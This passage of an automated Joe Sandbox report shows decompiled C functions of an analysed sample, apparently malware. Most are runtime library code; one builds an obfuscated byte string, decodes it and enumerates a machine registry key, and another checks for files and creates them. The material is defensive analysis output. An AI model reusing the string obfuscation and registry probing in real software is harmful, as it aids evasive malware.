				 *((char*)(_t152 + 0x49)) = 0xf5;
				 *((char*)(_t152 + 0x4a)) = 0x71;
				 *((char*)(_t152 + 0x4b)) = 0x3d;
				 *((char*)(_t152 + 0x4c)) = 0xa4;
				 *((char*)(_t152 + 0x4d)) = 0xe6;
				 *((char*)(_t152 + 0x4e)) = 0xab;
				 *((char*)(_t152 + 0x4f)) = 0xdb;
				 *((char*)(_t152 + 0x50)) = 0x2d;
				 *((char*)(_t152 + 0x51)) = 0x4b;
				 *((char*)(_t152 + 0x52)) = 0xb4;
				 *((char*)(_t152 + 0x53)) = 0xb9;
				 *((char*)(_t152 + 0x54)) = 0x6a;
				 *((char*)(_t152 + 0x55)) = 0x7e;
				 *((char*)(_t152 + 0x56)) = 0x5f;
				 *((char*)(_t152 + 0x57)) = 0x93;
				 *((char*)(_t152 + 0x58)) = 0x2b;
				 *((char*)(_t152 + 0x59)) = 0x60;
				 *((char*)(_t152 + 0x5a)) = 0x1e;
				 *((char*)(_t152 + 0x5b)) = 0x77;
				 *((char*)(_t152 + 0x5c)) = 0x46;
				 *((char*)(_t152 + 0x5d)) = 0x6c;
				 *((char*)(_t152 + 0x5e)) = 0x4b;
				 *((char*)(_t152 + 0x5f)) = 0;
				 *((char*)(_t152 + 0x60)) = 0xbf;
				 *((char*)(_t152 + 0x61)) = 0xfd;
				 *((char*)(_t152 + 0x62)) = 0x2f;
				 *((char*)(_t152 + 0x63)) = 0xa8;
				 *((char*)(_t152 + 0x64)) = 6;
				 *((char*)(_t152 + 0x65)) = 0xdc;
				 *((char*)(_t152 + 0x66)) = 0xbc;
				 *((char*)(_t152 + 0x67)) = 0x92;
				 *((char*)(_t152 + 0x68)) = 0xc8;
				 *((char*)(_t152 + 0x69)) = 0x95;
				_t132 = E00423F92(_t152 + 0x30, _t152 - 0xc, 0x3a);
				 *(_t152 - 0x24) = 0x10;
				if(RegOpenKeyExA(0x80000002, _t132, 0, 0x20019, _t152 - 0x20) == 0) {
					_push(__esi);
					_t150 = RegEnumKeyExA( *(_t152 - 0x20),  *(_t152 + 0x7c), _t152 - 0x1c, _t152 - 0x24, 0, 0, 0, 0);
					RegCloseKey( *(_t152 - 0x20));
					if(_t150 != 0) {
						_t133 = _t150;
					} else {
						_t133 = E004243E5(0, __edi, _t150,  *((intOrPtr*)(_t152 + 0x78)), _t152 - 0x1c);
					}
				}
				return E00424873(_t133,  *((intOrPtr*)(_t152 + 0x6c)));
			}

0x0042446d
0x00424477
0x0042447c
0x0042447f
0x00424482
0x00424486
0x0042448a
0x0042448e
0x00424492
0x00424496
0x0042449a
0x0042449e
0x004244a2
0x004244a6
0x004244aa
0x004244ae
0x004244b2
0x004244b6
0x004244ba
0x004244be
0x004244c2
0x004244c6
0x004244ca
0x004244ce
0x004244d2
0x004244d6
0x004244da
0x004244de
0x004244e2
0x004244e6
0x004244ea
0x004244ee
0x004244f2
0x004244f6
0x004244fa
0x004244fe
0x00424502
0x00424506
0x0042450a
0x0042450e
0x00424512
0x00424516
0x0042451a
0x0042451e
0x00424522
0x00424526
0x0042452a
0x0042452e
0x00424532
0x00424536
0x0042453a
0x0042453e
0x00424542
0x00424546
0x0042454a
0x0042454e
0x00424552
0x00424556
0x0042455a
0x0042455e
0x00424562
0x00424566
0x0042456a
0x0042456e
0x00424572
0x00424576
0x0042457a
0x0042457e
0x00424581
0x00424585
0x00424589
0x0042458d
0x00424591
0x00424595
0x00424599
0x0042459d
0x004245a1
0x004245a5
0x004245a9
0x004245ad
0x004245b1
0x004245be
0x004245c2
0x004245c6
0x004245ca
0x004245ce
0x004245d2
0x004245d6
0x004245da
0x004245de
0x004245e2
0x004245e6
0x004245ea
0x004245ee
0x004245f2
0x004245f6
0x004245fa
0x004245fe
0x00424602
0x00424606
0x0042460a
0x0042460e
0x00424612
0x00424616
0x0042461a
0x0042461e
0x00424622
0x00424626
0x0042462a
0x0042462e
0x00424631
0x00424635
0x00424639
0x0042463d
0x00424641
0x00424645
0x00424649
0x0042464d
0x00424651
0x00424655
0x00424659
0x0042466e
0x0042467d
0x0042467f
0x0042469b
0x0042469d
0x004246a5
0x004246b7
0x004246a7
0x004246ae
0x004246b4
0x004246b9
0x004246c7

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020019,?,?,0000003A,F05BFFBD), ref: 00424675
RegEnumKeyExA.ADVAPI32(?,?,?,?,00000000,00000000,00000000,00000000,00000001), ref: 00424692
RegCloseKey.ADVAPI32(?), ref: 0042469D

Part of subcall function 004243E5: lstrcpyA.KERNEL32(00000119,0000007A,00000009,00000000), ref: 0042443F
Part of subcall function 004243E5: lstrcpyA.KERNEL32(00000015,0000007A), ref: 00424446
Part of subcall function 004243E5: lstrcpyA.KERNEL32(0000021D,0000007A), ref: 00424453

Strings

G@,, xrefs: 00424477

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrcpy$CloseEnumOpen
String ID: G@,
API String ID: 867042122-3496681718
Opcode ID: 49eb569f7ce508a37867627519df733fb8d8a4fc537f7154ef39763893859489
Instruction ID: e41524250162b8b5879b7c79a4499534d3f68334507e333dfa75e3f164a5fc55
Opcode Fuzzy Hash: 49eb569f7ce508a37867627519df733fb8d8a4fc537f7154ef39763893859489
Instruction Fuzzy Hash: 82A1DA1050C7CEDDDB22CF7C98486CD7F551B27228F484389F9F41A2E2D3AA864AC766

Uniqueness

Uniqueness Score: -1.00%

Function 0042B02D, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 124
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E0042B02D(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char _v21;
				signed char _v22;
				struct _cpinfo _v28;
				char _v284;
				char _v540;
				char _v796;
				char _v1308;
				void* __ebp;
				intOrPtr _t42;
				signed int _t45;
				char _t47;
				signed char _t48;
				signed int _t58;
				signed int _t59;
				signed int _t65;
				signed int _t68;
				signed char _t70;
				char _t71;
				signed int _t73;
				signed int _t74;
				signed char* _t78;
				signed char* _t79;
				void* _t81;
				void* _t86;
				void* _t87;

				_t80 = __edi;
				_t63 = __ebx;
				_t42 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t42;
				if(GetCPInfo( *0x432624,  &_v28) != 1) {
					_t45 = 0;
					__eflags = 0;
					do {
						__eflags = _t45 - 0x41;
						if(_t45 < 0x41) {
							L23:
							__eflags = _t45 - 0x61;
							if(_t45 < 0x61) {
								L26:
								 *(_t45 + 0x432640) = 0;
							} else {
								__eflags = _t45 - 0x7a;
								if(_t45 > 0x7a) {
									goto L26;
								} else {
									 *(_t45 + 0x432521) =  *(_t45 + 0x432521) | 0x00000020;
									_t68 = _t45 - 0x20;
									goto L22;
								}
							}
						} else {
							__eflags = _t45 - 0x5a;
							if(_t45 > 0x5a) {
								goto L23;
							} else {
								 *(_t45 + 0x432521) =  *(_t45 + 0x432521) | 0x00000010;
								_t68 = _t45 + 0x20;
								__eflags = _t68;
								L22:
								 *(_t45 + 0x432640) = _t68;
							}
						}
						_t45 = _t45 + 1;
						__eflags = _t45 - 0x100;
					} while (_t45 < 0x100);
				} else {
					_t47 = 0;
					do {
						 *((char*)(_t86 + _t47 - 0x118)) = _t47;
						_t47 = _t47 + 1;
					} while (_t47 < 0x100);
					_t48 = _v22;
					_v284 = 0x20;
					if(_t48 != 0) {
						_push(__ebx);
						_t78 =  &_v21;
						_push(__edi);
						do {
							_t65 =  *_t78 & 0x000000ff;
							_t59 = _t48 & 0x000000ff;
							if(_t59 <= _t65) {
								_t73 = _t65 - _t59 + 1;
								_t74 = _t73 >> 2;
								_t81 = _t86 + _t59 - 0x118;
								memset(_t81 + _t74, memset(_t81, 0x20202020, _t74 << 2), (_t73 & 0x00000003) << 0);
								_t87 = _t87 + 0x18;
								_t65 = 0;
							}
							_t79 =  &(_t78[1]);
							_t48 =  *_t79;
							_t78 =  &(_t79[1]);
							_t96 = _t48;
						} while (_t48 != 0);
						_pop(_t80);
						_pop(_t63);
					}
					_push(0);
					_push( *0x43250c);
					_push( *0x432624);
					_push( &_v1308);
					_push(0x100);
					_push( &_v284);
					_push(1);
					E0042B56A(_t63, _t65, _t80, 0x100, _t96);
					_push(0);
					_push( *0x432624);
					_push(0x100);
					_push( &_v540);
					_push(0x100);
					_push( &_v284);
					_push(0x100);
					_push( *0x43250c);
					E0042A027(_t63, _t80, 0x100, _t96);
					_push(0);
					_push( *0x432624);
					_push(0x100);
					_push( &_v796);
					_push(0x100);
					_push( &_v284);
					_push(0x200);
					_push( *0x43250c);
					E0042A027(_t63, _t80, 0x100, _t96);
					_t58 = 0;
					do {
						_t70 =  *((intOrPtr*)(_t86 + _t58 * 2 - 0x518));
						if((_t70 & 0x00000001) == 0) {
							__eflags = _t70 & 0x00000002;
							if((_t70 & 0x00000002) == 0) {
								 *((char*)(_t58 + 0x432640)) = 0;
							} else {
								 *(_t58 + 0x432521) =  *(_t58 + 0x432521) | 0x00000020;
								_t71 =  *((intOrPtr*)(_t86 + _t58 - 0x318));
								goto L12;
							}
						} else {
							 *(_t58 + 0x432521) =  *(_t58 + 0x432521) | 0x00000010;
							_t71 =  *((intOrPtr*)(_t86 + _t58 - 0x218));
							L12:
							 *((char*)(_t58 + 0x432640)) = _t71;
						}
						_t58 = _t58 + 1;
					} while (_t58 < 0x100);
				}
				return E00424873(_t45, _v8);
			}

0x0042b02d
0x0042b02d
0x0042b036
0x0042b03b
0x0042b057
0x0042b16a
0x0042b16a
0x0042b16c
0x0042b16c
0x0042b16f
0x0042b18a
0x0042b18a
0x0042b18d
0x0042b1a2
0x0042b1a2
0x0042b18f
0x0042b18f
0x0042b192
0x00000000
0x0042b194
0x0042b194
0x0042b19d
0x00000000
0x0042b19d
0x0042b192
0x0042b171
0x0042b171
0x0042b174
0x00000000
0x0042b176
0x0042b176
0x0042b17f
0x0042b17f
0x0042b182
0x0042b182
0x0042b182
0x0042b174
0x0042b1a9
0x0042b1aa
0x0042b1aa
0x0042b05d
0x0042b05d
0x0042b05f
0x0042b05f
0x0042b066
0x0042b067
0x0042b06b
0x0042b070
0x0042b077
0x0042b079
0x0042b07a
0x0042b07d
0x0042b07e
0x0042b07e
0x0042b081
0x0042b086
0x0042b08a
0x0042b08d
0x0042b090
0x0042b0a3
0x0042b0a3
0x0042b0a3
0x0042b0a3
0x0042b0a5
0x0042b0a6
0x0042b0a8
0x0042b0a9
0x0042b0a9
0x0042b0ad
0x0042b0ae
0x0042b0ae
0x0042b0af
0x0042b0b1
0x0042b0bd
0x0042b0c3
0x0042b0c4
0x0042b0cb
0x0042b0cc
0x0042b0ce
0x0042b0d3
0x0042b0d5
0x0042b0e1
0x0042b0e2
0x0042b0e3
0x0042b0ea
0x0042b0eb
0x0042b0ec
0x0042b0f2
0x0042b0f7
0x0042b0f9
0x0042b105
0x0042b106
0x0042b107
0x0042b10e
0x0042b10f
0x0042b114
0x0042b11a
0x0042b122
0x0042b124
0x0042b124
0x0042b12f
0x0042b147
0x0042b14a
0x0042b15c
0x0042b14c
0x0042b14c
0x0042b153
0x00000000
0x0042b153
0x0042b131
0x0042b131
0x0042b138
0x0042b13f
0x0042b13f
0x0042b13f
0x0042b163
0x0042b164
0x0042b168
0x0042b1b8

APIs

GetCPInfo.KERNEL32(?,?), ref: 0042B049

Strings

G@,, xrefs: 0042B036
, xrefs: 0042B097
, xrefs: 0042B070

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Info
String ID: $ $G@,
API String ID: 1807457897-3713349600
Opcode ID: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction ID: 8a9144dc760d119363f862b2835ecdd30cff94b7cff921278a221d8c6e03feef
Opcode Fuzzy Hash: 9f2c1d363d286c5108caad8f61244589310624b698a3e47248c20c3c2974706b
Instruction Fuzzy Hash: 83416A302003786FEB168B54ED6ABFB7BE8EF06344F6444E2D585C71A2C3984A9587DC

Uniqueness

Uniqueness Score: -1.00%

Function 004221A7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004221A7(void* __eax, short __ebx, void* __ebp, char _a16, char _a36, char _a96, char _a360, char _a624, intOrPtr _a1156) {
				void* _t30;
				intOrPtr _t31;
				void* _t32;
				unsigned int _t33;
				void* _t37;
				intOrPtr _t38;
				void* _t39;
				unsigned int _t40;
				CHAR* _t43;
				char _t56;
				void _t57;
				void _t58;
				signed int _t60;
				char _t67;
				void _t68;
				void _t69;
				signed int _t71;
				int _t74;
				void* _t79;
				void* _t80;
				short* _t84;
				void* _t86;
				short* _t94;
				void* _t96;
				void* _t100;
				void* _t102;
				void* _t103;
				void* _t104;
				void* _t106;
				void* _t108;
				void* _t111;
				void* _t113;

				_t106 = __ebp;
				_t54 = __ebx;
				_t30 = __eax;
				do {
					_t56 =  *((intOrPtr*)(_t108 + _t30 + 0x378));
					 *((char*)(_t108 + _t30 + 0x60)) = _t56;
					_t30 = _t30 + 1;
				} while (_t56 != 0);
				_t84 =  &_a96 - 1;
				do {
					_t31 =  *((intOrPtr*)(_t84 + 1));
					_t84 = _t84 + 1;
				} while (_t31 != 0);
				_t32 =  &_a36;
				 *_t84 = __ebx;
				_t79 = _t32;
				do {
					_t57 =  *_t32;
					_t32 = _t32 + 1;
				} while (_t57 != 0);
				_t33 = _t32 - _t79;
				_t86 =  &_a96 - 1;
				do {
					_t58 =  *(_t86 + 1);
					_t86 = _t86 + 1;
				} while (_t58 != 0);
				_t60 = _t33 >> 2;
				_t102 = _t79;
				memcpy(_t102 + _t60 + _t60, _t102, memcpy(_t86, _t102, _t60 << 2) & 0x00000003);
				_t37 = memset( &_a360, 0, 0x41 << 2);
				_t111 = _t108 + 0x24;
				do {
					_t67 =  *((intOrPtr*)(_t111 + _t37 + 0x378));
					 *((char*)(_t111 + _t37 + 0x168)) = _t67;
					_t37 = _t37 + 1;
				} while (_t67 != 0);
				_t94 =  &_a360 - 1;
				do {
					_t38 =  *((intOrPtr*)(_t94 + 1));
					_t94 = _t94 + 1;
				} while (_t38 != 0);
				_t39 =  &_a16;
				 *_t94 = __ebx;
				_t80 = _t39;
				do {
					_t68 =  *_t39;
					_t39 = _t39 + 1;
				} while (_t68 != 0);
				_t40 = _t39 - _t80;
				_t96 =  &_a360 - 1;
				do {
					_t69 =  *(_t96 + 1);
					_t96 = _t96 + 1;
				} while (_t69 != 0);
				_t71 = _t40 >> 2;
				_t103 = _t80;
				_t74 = memcpy(_t96, _t103, _t71 << 2) & 0x00000003;
				_t43 = memcpy(_t103 + _t71 + _t71, _t103, _t74);
				_t113 = _t111 + 0x18;
				_t100 = _t103 + _t74 + _t74;
				_t104 = GetFileAttributesA;
				if(GetFileAttributesA(_t43) == 0xffffffff) {
					E00421E40(0,  &_a624, 0x42e424);
					_t113 = _t113 + 0xc;
				}
				if(GetFileAttributesA( &_a96) == 0xffffffff) {
					E00421E40(0,  &_a96, 0x42e420);
					_t113 = _t113 + 0xc;
				}
				if(GetFileAttributesA( &_a360) == 0xffffffff) {
					E00421E40(0,  &_a360, "fwe");
				}
				E004223A0(_t54, _t100, _t104, _t106);
				return E00424873(1, _a1156);
			}

0x004221a7
0x004221a7
0x004221a7
0x004221b0
0x004221b0
0x004221b7
0x004221bb
0x004221bc
0x004221c4
0x004221c5
0x004221c5
0x004221c8
0x004221c9
0x004221cd
0x004221d1
0x004221d4
0x004221d6
0x004221d6
0x004221d8
0x004221d9
0x004221e1
0x004221e3
0x004221e4
0x004221e4
0x004221e7
0x004221e8
0x004221ee
0x004221f1
0x004221fa
0x0042220a
0x0042220a
0x00422210
0x00422210
0x00422217
0x0042221e
0x0042221f
0x0042222a
0x00422230
0x00422230
0x00422233
0x00422234
0x00422238
0x0042223c
0x0042223f
0x00422241
0x00422241
0x00422243
0x00422244
0x0042224f
0x00422251
0x00422252
0x00422252
0x00422255
0x00422256
0x0042225c
0x0042225f
0x00422265
0x0042226f
0x0042226f
0x0042226f
0x00422271
0x0042227d
0x0042228e
0x00422293
0x00422293
0x004222a0
0x004222ae
0x004222b3
0x004222b3
0x004222c3
0x004222d4
0x004222d9
0x004222dc
0x004222f8

APIs

GetFileAttributesA.KERNEL32(?), ref: 00422278
GetFileAttributesA.KERNEL32(?), ref: 0042229B
GetFileAttributesA.KERNEL32(?), ref: 004222BE

Strings

fwe, xrefs: 004222C5

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AttributesFile
String ID: fwe
API String ID: 3188754299-4005368934
Opcode ID: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction ID: 76594a64a599093f323b53c7ed8c786e31d7372582f6e569f4210dc002227436
Opcode Fuzzy Hash: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction Fuzzy Hash: CE315B3160879157CB21D6347820BFBF7D1AFD4300FA00B69E8D8C3281DBB69845C396

Uniqueness

Uniqueness Score: -1.00%

Function 00426F4B, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E00426F4B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t3;
				struct _CRITICAL_SECTION* _t4;
				void* _t8;
				struct _CRITICAL_SECTION* _t12;
				signed int* _t15;
				struct _CRITICAL_SECTION** _t16;

				_t3 =  *0x431124; // 0x5
				if(_t3 != 0xffffffff) {
					 *0x432060(_t3);
					 *0x431124 =  *0x431124 | 0xffffffff;
				}
				_t8 = DeleteCriticalSection;
				_t15 = 0x431130;
				do {
					_t12 =  *_t15;
					if(_t12 != 0) {
						_t21 = _t15[1] - 1;
						if(_t15[1] != 1) {
							DeleteCriticalSection(_t12);
							_push(_t12);
							E004255BE(_t8, _t12, _t15, _t21);
							 *_t15 =  *_t15 & 0x00000000;
						}
					}
					_t15 =  &(_t15[2]);
				} while (_t15 < 0x431250);
				_t16 = 0x431130;
				do {
					_t4 =  *_t16;
					if(_t4 != 0 && _t16[1] == 1) {
						DeleteCriticalSection(_t4);
					}
					_t16 =  &(_t16[2]);
				} while (_t16 < 0x431250);
				return _t4;
			}

0x00426f4b
0x00426f53
0x00426f56
0x00426f5c
0x00426f5c
0x00427482
0x00427489
0x0042748f
0x0042748f
0x00427493
0x00427495
0x00427499
0x0042749c
0x0042749e
0x0042749f
0x004274a4
0x004274a7
0x00427499
0x004274a8
0x004274ab
0x004274b3
0x004274b9
0x004274b9
0x004274bd
0x004274c6
0x004274c6
0x004274c8
0x004274cb
0x004274d5

APIs

FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

h C, xrefs: 00427489, 004274B3

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CriticalDeleteSection$Free
String ID: h C
API String ID: 1584690612-3285481218
Opcode ID: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction ID: 46e1f5d38daa45a4b8a1175150061cd4bbfd52aad6ded1a2a2748f1cabc2c9bd
Opcode Fuzzy Hash: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction Fuzzy Hash: D2F0A432A0423097CA346A18BC855A6B6E89F49731B55573FE9E9E32A0C33C9C42866C

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DF, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 62%

			E0042B4DF(void* __eflags) {
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t12;
				void* _t13;
				void* _t14;
				void* _t15;
				void* _t16;

				_push(0x10);
				_push(0x42efe0);
				E0042664C(_t13, _t14, _t15);
				_t9 =  *0x432398;
				if(_t9 == 0) {
					if( *0x432214 == 1) {
						L4:
						_t9 = 0x42b4cf;
						 *0x432398 = 0x42b4cf;
					} else {
						_t12 = GetModuleHandleA("kernel32.dll");
						if(_t12 == 0) {
							goto L4;
						} else {
							_t9 = GetProcAddress(_t12, "InitializeCriticalSectionAndSpinCount");
							 *0x432398 = _t9;
							if(_t9 == 0) {
								goto L4;
							}
						}
					}
				}
				 *(_t16 - 4) =  *(_t16 - 4) & 0x00000000;
				 *((intOrPtr*)(_t16 - 0x20)) =  *_t9( *((intOrPtr*)(_t16 + 8)),  *((intOrPtr*)(_t16 + 0xc)));
				 *(_t16 - 4) =  *(_t16 - 4) | 0xffffffff;
				return E00426687(_t10);
			}

0x0042b4df
0x0042b4e1
0x0042b4e6
0x0042b4eb
0x0042b4f2
0x0042b4fb
0x0042b521
0x0042b521
0x0042b526
0x0042b4fd
0x0042b502
0x0042b50a
0x00000000
0x0042b50c
0x0042b512
0x0042b518
0x0042b51f
0x00000000
0x00000000
0x0042b51f
0x0042b50a
0x0042b4fb
0x0042b52b
0x0042b537
0x0042b560
0x0042b569

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0042EFE0,00000010,00427463,00000000,00000FA0,74E04DE0,00000000,00427125,00425E71,?,0042E598,00000060), ref: 0042B502
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0042B512

Strings

InitializeCriticalSectionAndSpinCount, xrefs: 0042B50C
kernel32.dll, xrefs: 0042B4FD

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 1646373207-3733552308
Opcode ID: 1ca8ae021f159ed162ffc7e4c848c318114e2b85301864bcde9cf95576aa1663
Instruction ID: be9b0aabb06fe80ffec501557c266caa5c5a139848c1c9192b9c21e126a2179c
Opcode Fuzzy Hash: 1ca8ae021f159ed162ffc7e4c848c318114e2b85301864bcde9cf95576aa1663
Instruction Fuzzy Hash: EBF05470741335FACB10AFB2FD457593BA0EB04748F94452AE814D52A0D77C86819A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00426C9C, Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00426C9C(void* __ebx, void* __edi, intOrPtr* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v5;
				signed int _v8;
				intOrPtr* _v12;
				char _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				struct _CRITICAL_SECTION* _v60;
				intOrPtr _t87;
				void* _t90;
				intOrPtr* _t98;
				intOrPtr _t99;
				void* _t103;
				intOrPtr _t105;
				void* _t109;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t112;
				void* _t115;
				intOrPtr* _t116;
				intOrPtr _t119;
				intOrPtr _t126;
				intOrPtr _t127;
				intOrPtr _t129;
				void* _t134;
				intOrPtr _t137;
				intOrPtr* _t138;
				intOrPtr _t140;
				intOrPtr _t141;
				void* _t146;
				void* _t147;
				void* _t150;

				_t138 = __esi;
				_t134 = __edi;
				_t115 = __ebx;
				_t147 = _t146 - 0x24;
				_t87 =  *((intOrPtr*)(_a8 + 8));
				_v5 = 0;
				_v32 = _t87;
				if(_t87 < 0xffffffff) {
					L2:
					E00427244(_t152);
				} else {
					_t119 = _a20;
					_t152 = _t87 -  *((intOrPtr*)(_t119 + 4));
					if(_t87 >=  *((intOrPtr*)(_t119 + 4))) {
						goto L2;
					}
				}
				_push(_t115);
				_t116 = _a4;
				_push(_t138);
				_push(_t134);
				if( *_t116 != 0xe06d7363) {
					L40:
					__eflags = _a24;
					if(_a24 != 0) {
						_push(8);
						_push(0x42e858);
						E0042664C(_t116, _t134, _t138);
						_t90 = E00426F68();
						__eflags =  *(_t90 + 0x6c);
						if( *(_t90 + 0x6c) != 0) {
							_v8 = _v8 & 0x00000000;
							 *((intOrPtr*)(E00426F68() + 0x6c))();
							_t83 =  &_v8;
							 *_t83 = _v8 | 0xffffffff;
							__eflags =  *_t83;
						}
						_push(0xa);
						E0042A3E3();
						_push(0x16);
						E0042CB30(_t116, _t134, _t138, __eflags);
						E00429328(3);
						asm("int3");
						InitializeCriticalSection(_v60);
						__eflags = 1;
						return 1;
					} else {
						_t98 = E00426BDE(_t119, _t116, _a8, _a12, _a16, _a20, _v32, _a28, _a32);
						goto L38;
					}
				} else {
					_t134 = 0x19930520;
					if( *((intOrPtr*)(_t116 + 0x10)) != 3) {
						L18:
						if( *_t116 != 0xe06d7363 ||  *((intOrPtr*)(_t116 + 0x10)) != 3) {
							goto L40;
						} else {
							_t99 =  *((intOrPtr*)(_t116 + 0x14));
							if(_t99 == _t134 || _t99 == 0x19930521) {
								_t140 = _v32;
								_t98 = E00424E45(_t119, _a20, _a28, _t140,  &_v16,  &_v36);
								_t150 = _t147 + 0x14;
								_v12 = _t98;
								if(_v16 < _v36) {
									L25:
									while(1) {
										if( *_t98 <= _t140 && _t140 <=  *((intOrPtr*)(_t98 + 4))) {
											_t126 =  *((intOrPtr*)(_t98 + 0xc));
											_t141 =  *((intOrPtr*)(_t98 + 0x10));
											_v28 = _t126;
											if(_t126 > 0) {
												do {
													_t127 =  *((intOrPtr*)(_t116 + 0x1c));
													_t40 =  *((intOrPtr*)(_t127 + 0xc)) + 4; // 0x4
													_t129 =  *((intOrPtr*)( *((intOrPtr*)(_t127 + 0xc))));
													_v20 = _t40;
													_v24 = _t129;
													if(_t129 <= 0) {
														goto L32;
													} else {
														while(1) {
															_v40 =  *_v20;
															_t103 = E00426698( *_v20, _t141,  *((intOrPtr*)(_t116 + 0x1c)));
															if(_t103 != 0) {
																break;
															}
															_v24 = _v24 - 1;
															_v20 = _v20 + 4;
															if(_v24 > _t103) {
																continue;
															} else {
																_t98 = _v12;
																goto L32;
															}
															goto L35;
														}
														_t137 = _v12;
														E00426B77(_t141, _v40, _t137, _a8, _t116, _a12, _a16, _a20, _a28, _a32);
														_t116 = _a4;
														_t150 = _t150 + 0x18;
														_t98 = _t137;
													}
													goto L35;
													L32:
													_v28 = _v28 - 1;
													_t141 = _t141 + 0x10;
												} while (_v28 > 0);
											}
										}
										L35:
										_v16 = _v16 + 1;
										_t98 = _t98 + 0x14;
										_v12 = _t98;
										if(_v16 < _v36) {
											_t140 = _v32;
											continue;
										}
										goto L36;
									}
								}
								L36:
								_t178 = _a24;
								if(_a24 != 0) {
									_push(1);
									_push(_t116);
									_t98 = E004267D3(_t178);
								}
								goto L38;
							} else {
								goto L40;
							}
						}
					} else {
						_t105 =  *((intOrPtr*)(_t116 + 0x14));
						if(_t105 == 0x19930520 || _t105 == 0x19930521) {
							if( *((intOrPtr*)(_t116 + 0x1c)) != 0) {
								goto L18;
							} else {
								_t98 = E00426F68();
								if( *((intOrPtr*)(_t98 + 0x7c)) == 0) {
									L38:
									return _t98;
								} else {
									_t138 =  *((intOrPtr*)(E00426F68() + 0x7c));
									_a4 = _t138;
									_a12 =  *((intOrPtr*)(E00426F68() + 0x80));
									_v5 = 1;
									_t109 = E0042AECA(_t138, 1);
									_t159 = _t109;
									_pop(_t119);
